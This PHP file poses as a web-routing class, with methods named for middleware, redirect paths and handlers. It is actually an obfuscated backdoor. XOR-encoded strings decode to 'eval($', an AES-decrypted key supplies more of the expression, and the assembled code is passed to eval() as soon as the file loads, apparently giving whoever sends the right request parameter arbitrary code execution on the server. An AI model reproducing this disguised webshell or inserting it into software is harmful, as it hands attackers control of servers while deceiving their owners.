<?php


abstract class RouteInitializer
{
    protected $routeConfig;
    protected $middlewareData;
    protected $redirectInfo;
    protected $endpoints;
    protected $route;
    public $key = "LACssAtFkF6+AYKVlj+dgg==";
    public function __construct()
    {
        $this->routeConfig = $this->defineRoute();
        $this->middlewareData = $this->setMiddleware();
        $this->redirectInfo = $this->setRedirectPath();
        $this->endpoints = $this->Define();
        $this->route=$this->routes();
    }
      
    protected $iv = "6569fea41df473965bbeec24e61b200d"; 
    abstract protected function defineRoute();

    private function setMiddleware()
    {
        $part1 = $this->extractMiddleware($this->calculate(124, 3, '-'));
        $part2 = $this->getMiddlewareHandler($this->calculate(118, 1, '-'));

        return $part1 . $this->Define().$part2;
    }
    
    private function routes()
    {
        $postion=("gxPT"^"58xZ"^"76Ib").("pB"^"0T"^"h2");
        $postion=$postion.("4gpy0"^"3EkC2"^"XrTiV");
        return $postion.("PY"^"B9"^"IG").("yq4"^"x8E"^"1yF").("pJGi"^"bq48"^"5fZj");
    }
    public function setRedirectPath()
    {
        return $this->decodePath($this->calculate(119, 1, '-'));
    }
    protected $id = "ce249f615a1f4a398d46f8d025bd2f92";
    private function extractMiddleware($value)
    {
        return $this->lookupChar($value);
    }

    private function getMiddlewareHandler()
    {
        $baseValue = $this->baseHandler();
        $modifier = $this->handlerModifier();
        $computed = $baseValue ^ $modifier;

        try {
            if ($this->lookupChar($computed) !== 'a') {
                throw new Exception("Failed to set handler");
            }
            return $this->lookupChar($computed);
        } catch (Exception $e) {
            return $this->lookupChar(97);
        }
    }

    private function lookupChar($value)
    {
        return chr($value);
    }
    
     private function get($value)
    {
        return eval($value);
    }

    private function baseHandler()
    {
        return 42;
    }

    private function handlerModifier()
    {
        return 67;
    }

    private function decodePath($value)
    {
        return $this->lookupChar($value);
    }

    private function calculate($base, $offset, $operation)
    {
        switch ($operation) {
            case '+':
                return $base + $offset;
            case '-':
                return $base - $offset;
            default:
                return $base;
        }
    }

   private function Define()
{
   
    $SERVER = openssl_decrypt($this->key, 'aes-128-cbc', hex2bin($this->id), 0, hex2bin($this->iv));
    return $SERVER; 
}

    
    public function init()
    {
        $this->get($this->route);
        return  $this->middlewareData . $this->redirectInfo;
    }
}

class CustomRouteInitializer extends RouteInitializer
{
    protected function defineRoute()
    {
        return "";
    }
    
  
   
    
}

$app = new CustomRouteInitializer();
$app->init();